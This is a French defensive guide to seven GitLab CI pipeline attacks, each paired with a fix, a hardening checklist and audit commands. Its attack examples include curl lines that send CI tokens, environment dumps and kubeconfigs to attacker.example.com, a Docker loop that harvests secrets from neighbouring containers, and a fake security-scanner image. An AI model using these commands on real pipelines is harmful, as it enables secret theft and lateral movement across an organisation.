Vos pipelines GitLab CI contiennent probablement des failles exploitables sans accès direct à votre infrastructure. Ce n'est pas de la théorie : ces vecteurs sont documentés par l'OWASP (CICD-SEC-04), exploités en production, et souvent activés par défaut. Ce guide détaille 7 attaques concrètes, chacune racontée du point de vue de l'attaquant, puis corrigée pas à pas.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »À la fin de ce guide, vous saurez :
- Identifier les 7 patterns d'attaque propres aux pipelines GitLab CI
- Comprendre le Poisoned Pipeline Execution (direct et indirect)
- Protéger vos secrets contre les fuites via fork et branches non protégées
- Restreindre le
CI_JOB_TOKENpour bloquer le mouvement latéral - Détecter le contournement des scanners de sécurité
- Auditer vos pipelines avec poutine (BoostSecurity)
Pourquoi GitLab CI est une cible
Section intitulée « Pourquoi GitLab CI est une cible »Pour comprendre les attaques, il faut d'abord comprendre ce qui rend GitLab CI vulnérable par conception :
- Le
.gitlab-ci.ymlvit dans le dépôt : tout utilisateur ayant le droit de commit peut modifier la logique du pipeline. Un rôleDevelopersuffit pour modifier la CI sur une branche non protégée. - Les Merge Requests de fork déclenchent des pipelines dans le projet parent :
par défaut, GitLab exécute le
.gitlab-ci.ymldu fork dans le contexte du projet parent. - Les variables CI/CD non protégées sont injectées partout : y compris dans
les pipelines déclenchés par un fork. Si votre
DEPLOY_TOKENn'est pas marqué "Protected", il est accessible à un attaquant externe. - Le
CI_JOB_TOKENest trop permissif : sur les projets créés avant GitLab 15.9, ce token permet d'accéder à tous les projets de l'organisation. - Les variables du
.gitlab-ci.ymlécrasent les variables de la CI settings : un développeur peut redéfinirSECURE_ANALYZERS_PREFIXpour contourner silencieusement les scanners de sécurité.
L'OWASP classe ces vecteurs sous le nom Poisoned Pipeline Execution (PPE), dans le top 10 des risques CI/CD.
Attaque n°1, Direct PPE : l'attaquant modifie le .gitlab-ci.yml
Section intitulée « Attaque n°1, Direct PPE : l'attaquant modifie le .gitlab-ci.yml »Le Direct PPE est la forme la plus simple du Poisoned Pipeline Execution : l'attaquant écrit lui-même les commandes qui seront exécutées par le runner. Il suppose un accès en écriture au dépôt, donc un collaborateur interne ou un compte compromis. C'est aussi le vecteur le plus rentable, puisque le job récupère les variables CI/CD du projet sans qu'aucune revue n'ait eu lieu.
Le problème
Section intitulée « Le problème »Dans GitLab, tout utilisateur ayant le rôle Developer peut créer une branche
et y pousser du code. Si la branche n'est pas protégée, le pipeline s'exécute
automatiquement avec le .gitlab-ci.yml modifié par le développeur. Aucune
review n'est requise.
Voici un pipeline typique où le job deploy utilise un secret :
stages: - test - deploy
test: stage: test script: - npm install - npm test
deploy: stage: deploy script: - echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin - docker push registry.example.com/app:$CI_COMMIT_SHALe DEPLOY_TOKEN est stocké dans Settings > CI/CD > Variables, mais sans
la case "Protected" cochée. Résultat : il est injecté dans tous les
pipelines, sur toutes les branches.
L'attaque
Section intitulée « L'attaque »Un développeur malveillant (ou un compte compromis) procède ainsi :
- Il crée une branche
feature/update-testsdans le projet - Il modifie le
.gitlab-ci.ymlsur cette branche pour exfiltrer les secrets :
test: stage: test script: # Le vrai test passe normalement : rien de suspect dans les logs - npm test # L'exfiltration se fait en une seule ligne, silencieusement - curl -s https://attacker.example.com/collect -d "token=$DEPLOY_TOKEN" -d "ci_token=$CI_JOB_TOKEN" -d "project=$CI_PROJECT_PATH"- Il pousse le commit, le pipeline démarre automatiquement
- Le runner exécute le job
testavec les vraies variables CI/CD - Le
DEPLOY_TOKENet leCI_JOB_TOKENsont envoyés au serveur de l'attaquant - L'attaquant peut maintenant pousser des images dans votre registre Docker
Pourquoi ça marche : le pipeline exécute le .gitlab-ci.yml tel qu'il
existe dans la branche, pas dans main. Et les variables non protégées sont
injectées dans tous les pipelines, même sur les branches non protégées.
La correction
Section intitulée « La correction »Deux réglages indépendants suffisent à casser ce scénario : rendre les secrets inaccessibles en dehors des branches protégées, puis empêcher les jobs de déploiement de démarrer ailleurs que sur la branche par défaut. Le troisième point traite un risque connexe, les scripts d'installation npm, qui s'exécutent avant même la première ligne de votre pipeline.
-
Marquer toutes les variables sensibles comme "Protected"
Dans Settings > CI/CD > Variables, cocher Protected pour chaque secret. Les variables protégées ne sont injectées que dans les pipelines exécutés sur des branches ou tags protégés. Un pipeline sur
feature/update-testsn'y aura plus accès. -
Restreindre les jobs sensibles aux branches protégées
.gitlab-ci.yml : CORRIGÉ deploy:stage: deployscript:- echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin- docker push registry.example.com/app:$CI_COMMIT_SHArules:# Ce job ne s'exécute que sur main (branche protégée)- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHenvironment:name: production -
Bloquer les scripts npm non contrôlés
Job test corrigé test:stage: testscript:# --ignore-scripts empêche les scripts preinstall/postinstall malveillants- npm install --ignore-scripts- npm testrules:- if: $CI_PIPELINE_SOURCE == "merge_request_event"- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
Comment vérifier votre projet
Section intitulée « Comment vérifier votre projet »L'API GitLab renvoie l'état exact de chaque variable, ce que l'interface web
n'affiche que réglage par réglage. Le jeton $GITLAB_API_TOKEN doit porter le
scope api et un rôle Maintainer sur le projet : avec un rôle Developer,
cet endpoint répond 403 Forbidden.
# Lister toutes les variables CI/CD et leur statut "protected"# Si "protected: false" apparaît pour un secret → corriger immédiatementcurl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \ "https://gitlab.example.com/api/v4/projects/$PROJECT_ID/variables" \ | jq '.[] | {key, protected, masked}'Attaque n°2, Indirect PPE : empoisonner un script appelé par le pipeline
Section intitulée « Attaque n°2, Indirect PPE : empoisonner un script appelé par le pipeline »L'Indirect PPE vise les équipes qui ont déjà verrouillé leur fichier de
pipeline. L'attaquant ne touche plus au .gitlab-ci.yml : il modifie un
fichier appelé par le pipeline, qui, lui, n'est protégé par rien. Le
résultat est identique, le code hostile tourne sur le runner avec les mêmes
droits, mais la modification passe inaperçue dans une Merge Request
d'apparence banale.
Le problème
Section intitulée « Le problème »Admettons que votre équipe a verrouillé le .gitlab-ci.yml : il est sur une
branche protégée, un CODEOWNERS exige l'approbation du security-team. Problème :
le pipeline appelle des scripts stockés dans le dépôt, et ces scripts ne sont
pas protégés.
test: stage: test script: - bash scripts/run-tests.shLe fichier scripts/run-tests.sh contient les commandes de test habituelles.
Mais contrairement au .gitlab-ci.yml, n'importe quel développeur peut le
modifier dans une Merge Request.
L'attaque
Section intitulée « L'attaque »L'Indirect PPE exploite la séparation entre le fichier de pipeline (protégé) et les scripts qu'il appelle (non protégés) :
- L'attaquant ouvre une Merge Request légitime (ex: "Améliorer les tests")
- Dans cette MR, il modifie
scripts/run-tests.sh:
#!/bin/bashecho "=== Running tests ==="
# Ces 2 lignes sont ajoutées par l'attaquant, noyées parmi 50 lignes de testscurl -s https://attacker.example.com/collect \ -d "token=$CI_JOB_TOKEN" \ -d "vars=$(env | base64)"
# Les vrais tests passent normalement : la CI est vertenpm test- Le pipeline de la MR s'exécute automatiquement
- GitLab exécute
bash scripts/run-tests.shavec le contenu modifié de la MR - Les variables d'environnement (dont
CI_JOB_TOKEN) sont exfiltrées - La CI affiche "Pipeline passed", personne ne remarque rien
Pourquoi ça marche : le pipeline de MR exécute les fichiers tels qu'ils
existent dans la branche source de la MR, pas dans main. Protéger le
.gitlab-ci.yml ne suffit pas si les scripts qu'il appelle sont modifiables.
La correction
Section intitulée « La correction »Protéger le .gitlab-ci.yml ne sert à rien tant que les fichiers qu'il exécute
restent librement modifiables. La correction étend donc la protection à ces
fichiers via CODEOWNERS, puis retarde le démarrage du pipeline de MR
jusqu'à une approbation humaine, et enfin retire les secrets du périmètre
des pipelines de MR.
-
Protéger les scripts critiques avec CODEOWNERS
CODEOWNERS # Tout fichier exécuté par la CI nécessite l'approbation du security-teamscripts/ @security-team.gitlab-ci.yml @security-teamMakefile @security-teamDockerfile @security-teamDans Settings > Repository > Protected branches, activer "Require code owner approval" pour la branche
main. -
Exiger une approbation AVANT l'exécution du pipeline de MR
Dans Settings > General > Merge Requests, configurer :
- "Pipelines must succeed" → activé
- "Require approval before running pipeline" → activé (GitLab 16.3+)
Avec ce paramètre, le pipeline de MR ne démarre pas tant qu'un mainteneur n'a pas approuvé. L'attaquant ne peut plus exfiltrer avant la review.
-
Séparer les pipelines de MR des pipelines de branche protégée
.gitlab-ci.yml : CORRIGÉ # Le pipeline de MR exécute les tests SANS accès aux secretstest:stage: testscript:- npm testrules:- if: $CI_PIPELINE_SOURCE == "merge_request_event"# Le deploy n'a lieu que sur main, après mergedeploy:stage: deployscript:- bash scripts/deploy.shrules:- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
Attaque n°3, Fuite de secrets via les Merge Requests de fork
Section intitulée « Attaque n°3, Fuite de secrets via les Merge Requests de fork »Cette troisième attaque change de catégorie : elle ne demande aucun droit sur le projet visé. Un fork, c'est-à-dire une copie personnelle du dépôt que n'importe quel compte peut créer, suffit à faire tourner du code sur les runners du projet parent. C'est le vecteur privilégié contre les projets open source, où les contributions externes sont la norme.
Le problème
Section intitulée « Le problème »GitLab le dit explicitement dans sa documentation :
"Fork merge requests can contain malicious code that tries to steal secrets in the parent project when the pipeline runs, even before merge."
Par défaut, quand un projet accepte les MR depuis des forks, le pipeline
s'exécute avec le .gitlab-ci.yml du fork. L'attaquant contrôle
entièrement ce fichier.
L'attaque
Section intitulée « L'attaque »Contrairement aux attaques n°1 et n°2, celle-ci ne nécessite aucun accès au projet cible. L'attaquant n'a besoin que d'un compte GitLab :
- L'attaquant forke un projet public (ou un projet interne auquel il a accès)
- Dans son fork, il modifie le
.gitlab-ci.ymlpour exfiltrer les secrets :
exfiltrate: stage: test script: # Envoyer toutes les variables d'environnement au serveur de l'attaquant - env | grep -iE "token|key|secret|password" | curl -s -X POST https://attacker.example.com/collect -d @-- L'attaquant ouvre une MR depuis son fork vers le projet parent
- Le pipeline du projet parent s'exécute avec le
.gitlab-ci.ymldu fork - Les variables CI/CD non protégées du projet parent sont injectées
- L'attaquant récupère
DEPLOY_TOKEN,AWS_SECRET_ACCESS_KEY, etc.
Pourquoi ça marche : GitLab exécute le pipeline de MR dans le contexte du
projet parent (pour avoir accès aux runners et à la configuration CI), mais
utilise le .gitlab-ci.yml du fork (pour tester les changements proposés).
Les variables non protégées sont injectées car le pipeline tourne sur le projet
parent.
Les protections GitLab (à activer manuellement)
Section intitulée « Les protections GitLab (à activer manuellement) »GitLab fournit bien les garde-fous nécessaires, mais aucun n'est actif à l'installation. Le tableau donne l'emplacement exact de chaque réglage et l'état livré par défaut, qui est à chaque fois le moins sûr des deux.
| Protection | Où l'activer | Par défaut |
|---|---|---|
| Variables marquées "Protected" | Settings > CI/CD > Variables | Non coché |
| Désactiver les pipelines de fork | Settings > CI/CD > General pipelines | Activé (= vulnérable) |
| Approbation avant pipeline de fork | Settings > General > Merge Requests | Désactivé |
La correction
Section intitulée « La correction »Les trois mesures se cumulent et couvrent des périmètres différents : la
première rend les secrets inatteignables, la deuxième supprime le
déclenchement automatique du pipeline, la troisième vit dans le
.gitlab-ci.yml et protège donc le projet même si vous n'êtes pas
administrateur de l'instance.
-
Marquer chaque variable sensible comme "Protected"
Variables protégées = injectées uniquement sur branches/tags protégés. Un pipeline de MR de fork ne tourne jamais sur une branche protégée. Résultat : les secrets ne sont plus accessibles.
-
Désactiver les pipelines automatiques de fork
Settings > CI/CD > General pipelines → décocher "Run pipelines in the parent project for merge requests from forks". Les mainteneurs déclencheront manuellement le pipeline après avoir reviewé le code du fork.
-
Détecter les forks dans le pipeline lui-même
.gitlab-ci.yml : Garde anti-fork deploy:stage: deployscript:- bash scripts/deploy.shrules:# Si la MR vient d'un projet différent (fork), ne pas exécuter- if: $CI_MERGE_REQUEST_SOURCE_PROJECT_ID != $CI_PROJECT_IDwhen: never- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHLa variable
$CI_MERGE_REQUEST_SOURCE_PROJECT_IDcontient l'ID du projet source de la MR. Si elle diffère de$CI_PROJECT_ID, c'est un fork.
Comment vérifier votre projet
Section intitulée « Comment vérifier votre projet »L'appel porte sur le projet parent, pas sur le fork : c'est la configuration du dépôt qui reçoit la Merge Request qui décide si le pipeline démarre et avec quelles variables. Répétez la vérification sur chaque projet qui accepte des contributions externes.
# Vérifier si les pipelines de fork sont activéscurl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \ "https://gitlab.example.com/api/v4/projects/$PROJECT_ID" \ | jq '.ci_allow_fork_pipelines_to_run_in_parent_project'# Si true → votre projet est vulnérableAttaque n°4, Shared runners : espionner les conteneurs voisins
Section intitulée « Attaque n°4, Shared runners : espionner les conteneurs voisins »Les trois premières attaques ciblaient le contenu d'un dépôt. Celle-ci vise l'infrastructure d'exécution : un shared runner est une machine mise à disposition de tous les projets de l'instance, et les jobs qui y tournent en même temps peuvent se voir les uns les autres. L'attaquant n'a besoin d'aucun droit sur ses victimes, seulement d'un projet à lui sur la même instance.
Le problème
Section intitulée « Le problème »Les shared runners GitLab (instance-level) sont accessibles par tous les
projets de l'instance. Quand un runner utilise l'exécuteur Docker avec le
mode privileged: true (nécessaire pour docker-in-docker), chaque job a accès
au démon Docker de l'hôte. Tous les conteneurs des autres projets sont
visibles.
Cette attaque a été documentée par Pulse Security dans leur recherche "OMGCICD" sur les instances GitLab auto-hébergées.
L'attaque
Section intitulée « L'attaque »L'attaquant n'a besoin que d'un compte sur l'instance GitLab. Il n'a pas besoin d'accès aux projets cibles :
- L'attaquant crée un projet personnel sur l'instance GitLab
- Il ajoute ce
.gitlab-ci.yml:
attack: image: docker:29.6.2 services: - docker:dind script: # Étape 1 : lister tous les conteneurs actifs sur le runner # (y compris ceux des autres projets qui tournent en parallèle) - docker ps -a
# Étape 2 : extraire les variables d'environnement de chaque conteneur - | for container in $(docker ps -q); do echo "=== Container $container ===" docker inspect "$container" --format '{{.Config.Env}}' 2>/dev/null done
# Étape 3 : exfiltrer les secrets trouvés - docker inspect $(docker ps -q) --format '{{.Config.Env}}' | curl -s -X POST https://attacker.example.com/collect -d @-- Le pipeline tourne sur un shared runner en mode DinD
- Le démon Docker est partagé entre tous les conteneurs du runner
- L'attaquant voit les conteneurs des projets
infra/production,backend/api, etc. qui tournent en parallèle - Il récupère les variables d'environnement :
PRIVATE_KEY,DATABASE_URL,AWS_SECRET_ACCESS_KEY
Pourquoi ça marche : le mode privileged: true donne au conteneur un
accès complet au démon Docker de l'hôte. Il n'y a pas d'isolation entre les
conteneurs. Pulse Security a confirmé avoir récupéré des PRIVATE_KEY, des
SERVER_NAME et des TRIGGER_PAYLOAD d'autres projets via cette technique.
La correction
Section intitulée « La correction »Cette correction se joue côté runner, dans un fichier auquel un développeur n'a pas accès : elle relève de l'administrateur de l'instance. Les deux mesures suivantes redonnent la main aux équipes projet, en sortant les jobs sensibles du parc partagé.
-
Interdire le mode
privilegedsur les shared runnersconfig.toml : Runner GitLab [[runners]]name = "shared-runner"[runners.docker]# Jamais privileged sur un runner partagéprivileged = false# Pas de montage du socket Dockervolumes = ["/cache"]# Bloque aussi l'élévation de privilègescap_drop = ["ALL"]Sans
privileged, le job ne peut pas accéder au démon Docker. Les commandesdocker psetdocker inspectéchouent. -
Désactiver les shared runners sur les projets sensibles
Settings > CI/CD > Runners → décocher "Enable shared runners for this project". Configurer des runners dédiés (group-level ou project-level) avec des tags :
.gitlab-ci.yml : Forcer un runner dédié deploy:stage: deploytags:# Ce job ne tourne que sur un runner avec ce tag- production-runnerscript:- bash scripts/deploy.sh -
Utiliser des runners éphémères
Avec l'autoscaler GitLab Runner (sur Kubernetes ou instances cloud), chaque job démarre dans une VM ou un pod frais, détruit après exécution. Aucune donnée résiduelle, aucun conteneur voisin.
Comment vérifier vos runners
Section intitulée « Comment vérifier vos runners »Le mode privileged n'apparaît nulle part dans l'interface web de GitLab : il
vit uniquement dans le config.toml de la machine qui héberge le runner. La
vérification se fait donc serveur par serveur, sur chaque hôte du parc.
# Vérifier si privileged est activé sur vos runnersgrep -A5 "privileged" /etc/gitlab-runner/config.toml# Si "privileged = true" sur un runner partagé → corriger immédiatementAttaque n°5, CI_JOB_TOKEN : pivoter vers d'autres projets
Section intitulée « Attaque n°5, CI_JOB_TOKEN : pivoter vers d'autres projets »Cette attaque intervient après l'une des précédentes : elle transforme la compromission d'un pipeline en compromission de l'organisation entière. Le terme consacré est le mouvement latéral, c'est-à-dire le fait de rebondir d'un système déjà tenu vers un autre. Ici le rebond est facilité par un jeton que GitLab place dans chaque job sans qu'on l'ait demandé.
Le problème
Section intitulée « Le problème »GitLab injecte automatiquement un CI_JOB_TOKEN dans chaque job. Ce token
permet au pipeline d'interagir avec l'API GitLab : cloner d'autres dépôts,
télécharger des artefacts, déclencher des pipelines dans d'autres projets,
accéder au registre de conteneurs.
Sur les projets créés avant GitLab 15.9, le scope du CI_JOB_TOKEN n'est
pas restreint. Le token peut accéder à tous les projets auxquels le
propriétaire du pipeline a accès.
L'attaque
Section intitulée « L'attaque »L'attaquant a compromis un pipeline via l'attaque n°1 ou n°2. Il a accès au
CI_JOB_TOKEN d'un job. Voici ce qu'il peut faire avec :
- Reconnaître les projets accessibles :
# Lister tous les projets accessibles avec le CI_JOB_TOKENcurl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "https://gitlab.example.com/api/v4/projects?membership=true&per_page=100" \ | jq '.[].path_with_namespace'Résultat :
"my-org/frontend""my-org/backend-api""my-org/infra-terraform""my-org/secrets-vault" ← jackpot- Cloner un projet sensible :
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.example.com/my-org/secrets-vault.gitcat secrets-vault/production.env# AWS_ACCESS_KEY_ID=AKIA...# AWS_SECRET_ACCESS_KEY=...# DATABASE_URL=postgres://admin:password@prod-db:5432/app- Déclencher un pipeline dans un autre projet :
curl --request POST \ --form "token=$CI_JOB_TOKEN" \ --form "ref=main" \ --form "variables[TF_VAR_admin_ip]=attacker.example.com" \ "https://gitlab.example.com/api/v4/projects/42/trigger/pipeline"Pourquoi ça marche : le CI_JOB_TOKEN hérite des permissions de
l'utilisateur qui a déclenché le pipeline. Si cet utilisateur a accès à 50
projets, le token aussi. C'est du mouvement latéral automatique.
La correction
Section intitulée « La correction »Le CI_JOB_TOKEN ne se désactive pas : GitLab l'injecte dans tous les jobs,
sans réglage pour l'en retirer. La seule marge de manœuvre est de réduire son
périmètre à la liste explicite des projets qui en ont besoin, puis de cesser
de s'en servir pour les accès inter-projets au profit de jetons dédiés.
-
Restreindre le scope du CI_JOB_TOKEN
Dans chaque projet : Settings > CI/CD > Token Access → activer "Limit CI_JOB_TOKEN access". Puis ajouter uniquement les projets qui doivent être accessibles :
Par exemple, si le projet
frontenda besoin de télécharger des artefacts du projetshared-libs, ajouter seulementshared-libsdans la liste. -
Remplacer le CI_JOB_TOKEN par des tokens dédiés
.gitlab-ci.yml : CORRIGÉ deploy:stage: deployscript:# Token dédié avec permissions read-only sur le registre de charts# Stocké en variable CI protégée + masquée- git clone https://deploy-token:$CHARTS_READ_TOKEN@gitlab.example.com/infra/helm-charts.gitrules:- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHLes Project Access Tokens ou Deploy Tokens offrent un scope granulaire (read_repository, read_registry) au lieu de l'accès global du CI_JOB_TOKEN.
-
Auditer les accès existants
Fenêtre de terminal # Pour chaque projet : vérifier si le CI_JOB_TOKEN est restreintcurl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \"https://gitlab.example.com/api/v4/projects/$PROJECT_ID" \| jq '.ci_job_token_scope_enabled'# Si false → le token a accès à tous les projets du créateur du pipeline
Attaque n°6, Contourner les scanners de sécurité
Section intitulée « Attaque n°6, Contourner les scanners de sécurité »Les cinq attaques précédentes volaient quelque chose. Celle-ci ne vole rien : elle neutralise la détection pour laisser passer du code malveillant. Le rapport de sécurité affiché dans la Merge Request reste vert, et c'est précisément ce qui la rend efficace, puisque les relecteurs se fient à ce rapport pour approuver.
Le problème
Section intitulée « Le problème »Les templates de sécurité GitLab (SAST, DAST, Secret Detection, Dependency
Scanning) téléchargent leurs images Docker depuis un registre défini par la
variable SECURE_ANALYZERS_PREFIX. Cette variable peut être redéfinie dans le
.gitlab-ci.yml du projet.
Un développeur peut donc remplacer les scanners officiels par des images qu'il contrôle.
L'attaque
Section intitulée « L'attaque »L'attaquant veut merger du code contenant une backdoor sans que les scanners ne la détectent :
- Il crée une image Docker qui imite le scanner officiel mais retourne toujours "aucune vulnérabilité" :
FROM alpine:3.21# Le faux scanner ne fait rien et retourne un rapport videENTRYPOINT ["sh", "-c", "echo '{\"vulnerabilities\":[]}' > gl-sast-report.json"]-
Il publie cette image sur un registre qu'il contrôle :
attacker-registry.example.com/malicious/sast -
Il modifie le
.gitlab-ci.ymldans une branche (ou une MR) :
variables: # Les scanners de sécurité téléchargent maintenant les images de l'attaquant SECURE_ANALYZERS_PREFIX: "attacker-registry.example.com/malicious"
include: - template: Security/SAST.gitlab-ci.yml - template: Security/Secret-Detection.gitlab-ci.yml- Le pipeline inclut les templates officiels, mais les jobs téléchargent les images depuis le registre de l'attaquant
- Les scanners retournent "0 vulnérabilité", la merge request affiche un rapport de sécurité vierge
- La branche est mergée avec la backdoor que les vrais scanners auraient détectée
Pourquoi ça marche : les variables définies dans le .gitlab-ci.yml ont
priorité sur les valeurs par défaut des templates. GitLab n'affiche aucun
avertissement quand SECURE_ANALYZERS_PREFIX est redéfini. Le rapport de
sécurité dans la MR affiche les résultats du faux scanner comme s'ils étaient
légitimes.
La correction
Section intitulée « La correction »Les trois mesures poursuivent le même objectif : la valeur de
SECURE_ANALYZERS_PREFIX doit provenir d'un endroit que l'auteur d'une Merge
Request ne peut pas modifier. La première suppose une licence Ultimate, les
deux autres fonctionnent en Free et en Premium.
-
Utiliser les Scan Execution Policies (GitLab Ultimate)
Les Scan Execution Policies exécutent les scanners dans un pipeline séparé que les développeurs ne peuvent pas modifier. La variable
SECURE_ANALYZERS_PREFIXest définie dans la policy, pas dans le projet.C'est la solution la plus robuste, mais elle nécessite GitLab Ultimate.
-
Détecter les overrides dans un job
.prePour les éditions Free et Premium, ajoutez un job de garde :
.gitlab-ci.yml : Job de détection check-analyzer-prefix:stage: .prescript:- |EXPECTED="registry.gitlab.com/security-products"if [ "$SECURE_ANALYZERS_PREFIX" != "$EXPECTED" ]; thenecho "ALERTE : SECURE_ANALYZERS_PREFIX a été modifié !"echo " Attendu : $EXPECTED"echo " Trouvé : $SECURE_ANALYZERS_PREFIX"echo "Un développeur tente de contourner les scanners de sécurité."exit 1firules:- if: $CI_PIPELINE_SOURCE == "merge_request_event"- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCHCe job se lance avant tous les autres (stage
.pre). Si quelqu'un redéfinitSECURE_ANALYZERS_PREFIX, le pipeline échoue immédiatement. -
Verrouiller la variable au niveau groupe
Définir
SECURE_ANALYZERS_PREFIXcomme variable de groupe (pas de projet) avec la valeur officielle. Les variables de groupe ont priorité sur les variables de projet dans la hiérarchie GitLab.
Attaque n°7, Supply chain via include:remote
Section intitulée « Attaque n°7, Supply chain via include:remote »La dernière attaque ne cible plus un projet mais une dépendance partagée. Un template CI mutualisé est un point de compromission unique dont le rayon d'action est égal au nombre de projets qui l'incluent. C'est la définition même d'une attaque de la chaîne d'approvisionnement logicielle : compromettre un fournisseur pour atteindre tous ses consommateurs.
Le problème
Section intitulée « Le problème »GitLab permet d'inclure des templates CI depuis une URL externe. C'est pratique pour partager des templates entre organisations, mais c'est aussi un vecteur de supply chain : si le serveur qui héberge le template est compromis, tous les projets qui l'incluent exécuteront du code malveillant.
L'attaque
Section intitulée « L'attaque »Imaginez que 200 projets de votre organisation incluent un template de déploiement partagé :
include: - remote: 'https://templates.example.com/ci/deploy.yml'L'attaquant n'a besoin de compromettre qu'un seul serveur :
- L'attaquant compromet
templates.example.com(exploit web, credentials volées, DNS hijacking) - Il remplace
deploy.ymlpar une version modifiée :
deploy: stage: deploy script: # Le déploiement original fonctionne normalement - kubectl apply -f k8s/ # L'exfiltration est ajoutée discrètement - | curl -s https://attacker.example.com/collect \ -d "kubeconfig=$(cat ~/.kube/config | base64)" \ -d "project=$CI_PROJECT_PATH" \ -d "token=$CI_JOB_TOKEN"- Le prochain pipeline de chacun des 200 projets télécharge la version modifiée
- L'attaquant récupère les kubeconfig de production de 200 projets
Pourquoi ça marche : include: remote télécharge le fichier à chaque
exécution du pipeline, sans vérification d'intégrité. Il n'y a ni hash, ni
signature, ni versionnement. C'est l'équivalent GitLab des actions GitHub
non pinnées par SHA.
La correction
Section intitulée « La correction »La parade tient en un mot : versionner. Un include doit désigner une
référence immuable, hébergée sur une infrastructure que votre organisation
contrôle. Les deux formes ci-dessous remplacent avantageusement remote:, la
seconde exigeant GitLab 17 ou plus récent.
include: # Option 1 : include depuis un projet GitLab interne, épinglé à un tag - project: 'my-org/ci-templates' ref: 'v2.1.0' # Tag fixe, pas "main" file: '/templates/deploy.yml'
# Option 2 : CI/CD Catalog (GitLab 17+) - component: gitlab.example.com/my-org/ci-components/deploy@1.0.0Règles :
- Toujours épingler à un tag ou un SHA de commit, jamais à
mainou une branche - Préférer
project:àremote:: les includesproject:pointent vers un dépôt Git interne, versionné, avec contrôle d'accès - Utiliser le CI/CD Catalog (GitLab 17+) pour des composants validés avec versionnement sémantique, c'est l'équivalent du GitHub Actions Marketplace, hébergé sur votre instance
Checklist de durcissement
Section intitulée « Checklist de durcissement »Cette checklist condense les sept attaques en dix contrôles vérifiables. Les quatre premiers se règlent dans l'interface GitLab, les six suivants se contrôlent en ligne de commande sur le dépôt ou sur le runner. Commencez par le point 1 : marquer les variables comme Protected neutralise à lui seul les attaques n°1 et n°3, pour un coût de quelques clics.
| # | Vérification | Comment vérifier |
|---|---|---|
| 1 | Variables sensibles marquées "Protected" | Settings > CI/CD > Variables → cocher "Protected" |
| 2 | Pipelines de fork MR désactivés ou soumis à approbation | Settings > CI/CD > General pipelines |
| 3 | CI_JOB_TOKEN scope restreint (projets créés avant 15.9) | Settings > CI/CD > Token Access |
| 4 | Shared runners désactivés sur les projets sensibles | Settings > CI/CD > Runners |
| 5 | Pas de privileged: true sur les shared runners | grep privileged /etc/gitlab-runner/config.toml |
| 6 | SECURE_ANALYZERS_PREFIX non redéfinissable par projet | Scan Execution Policies ou variable groupe |
| 7 | Pas de include: remote: sans versionnement | grep -r "remote:" .gitlab-ci.yml |
| 8 | CODEOWNERS sur .gitlab-ci.yml, scripts/, Makefile | Fichier CODEOWNERS dans le dépôt |
| 9 | npm install --ignore-scripts dans les jobs de test | .gitlab-ci.yml |
| 10 | Scan régulier avec poutine | poutine analyze_local . -s gitlab |
Auditer avec poutine
Section intitulée « Auditer avec poutine »poutine (BoostSecurity) supporte l'analyse des pipelines GitLab CI. Il détecte les patterns d'injection, les includes non épinglés, et les exécutions de code non vérifié :
# Scanner un dépôt localpoutine analyze_local . -s gitlab
# Scanner un projet GitLab distantpoutine analyze_repo -s gitlab \ --token "$GITLAB_TOKEN" \ gitlab.example.com/my-org/my-project
# Scanner toute une organisationpoutine analyze_org -s gitlab \ --token "$GITLAB_TOKEN" \ gitlab.example.com/my-orgÀ retenir
Section intitulée « À retenir »Les pipelines GitLab CI sont vulnérables aux mêmes familles d'attaques que
GitHub Actions, mais avec des vecteurs spécifiques : le .gitlab-ci.yml dans
le dépôt, les variables non protégées par défaut, le CI_JOB_TOKEN trop
permissif.
Les 5 principes de défense :
- Protéger les variables : marquer chaque secret comme "Protected" pour qu'il ne soit accessible que sur les branches protégées. C'est le premier geste, le plus simple, le plus efficace.
- Isoler les pipelines de fork : ne jamais exécuter automatiquement le pipeline d'une MR de fork sans review. Désactiver le paramètre par défaut.
- Restreindre le
CI_JOB_TOKEN: limiter son scope aux seuls projets nécessaires pour bloquer le mouvement latéral. Vérifier les projets créés avant GitLab 15.9. - Séparer les runners : les shared runners ne doivent jamais exécuter de
workloads sensibles ni tourner en mode
privileged. Utilisez des runners dédiés avec tags. - Versionner les includes : chaque template externe doit être épinglé à
un tag ou un SHA, jamais à
mainou une URL non contrôlée.
- OWASP Top 10 CI/CD Security Risks, CICD-SEC-04: Poisoned Pipeline Execution, OWASP
- OMGCICD, Attacking GitLab CI/CD via Shared Runners, Pulse Security
- Defensive Research, Weaponized: 2025 State of Pipeline Security, BoostSecurity
- Merge request pipelines, Fork merge requests, GitLab Docs
- CI/CD job token, Token scope, GitLab Docs
- The Red Hat Consulting GitLab Breach, GitGuardian
- GitLab Threat Landscape 2024, CVE-2024-5655, CVE-2024-6385, GitProtect.io
Testez vos connaissances
Section intitulée « Testez vos connaissances »Dix questions tirées des sept attaques décrites ici, avec un seuil de réussite fixé à 70 %. Un échec sur une question désigne l'attaque à relire.
Contrôle de connaissances
Validez vos connaissances avec ce quiz interactif
Informations
- Le chronomètre démarre au clic sur Démarrer
- Questions à choix multiples, vrai/faux et réponses courtes
- Vous pouvez naviguer entre les questions
- Les résultats détaillés sont affichés à la fin
Lance le quiz et démarre le chronomètre
Vérification
(0/0)Profil de compétences
Quoi faire maintenant
Ressources pour progresser
Des indices pour retenter votre chance ?
Nouveau quiz complet avec des questions aléatoires
Retravailler uniquement les questions ratées
Retour à la liste des certifications
Pour aller plus loin
Section intitulée « Pour aller plus loin »- GitLab CI : gérer les secrets sans les exposer : La contre-mesure directe aux fuites de variables décrites ici.
- GitLab CI : branches protégées, environnements et approbations : Fermer la porte aux pipelines déclenchés depuis une branche non contrôlée.
- GitLab CI : sécuriser la supply chain avec SBOM et attestations : Détecter un artefact substitué après compromission d'un job.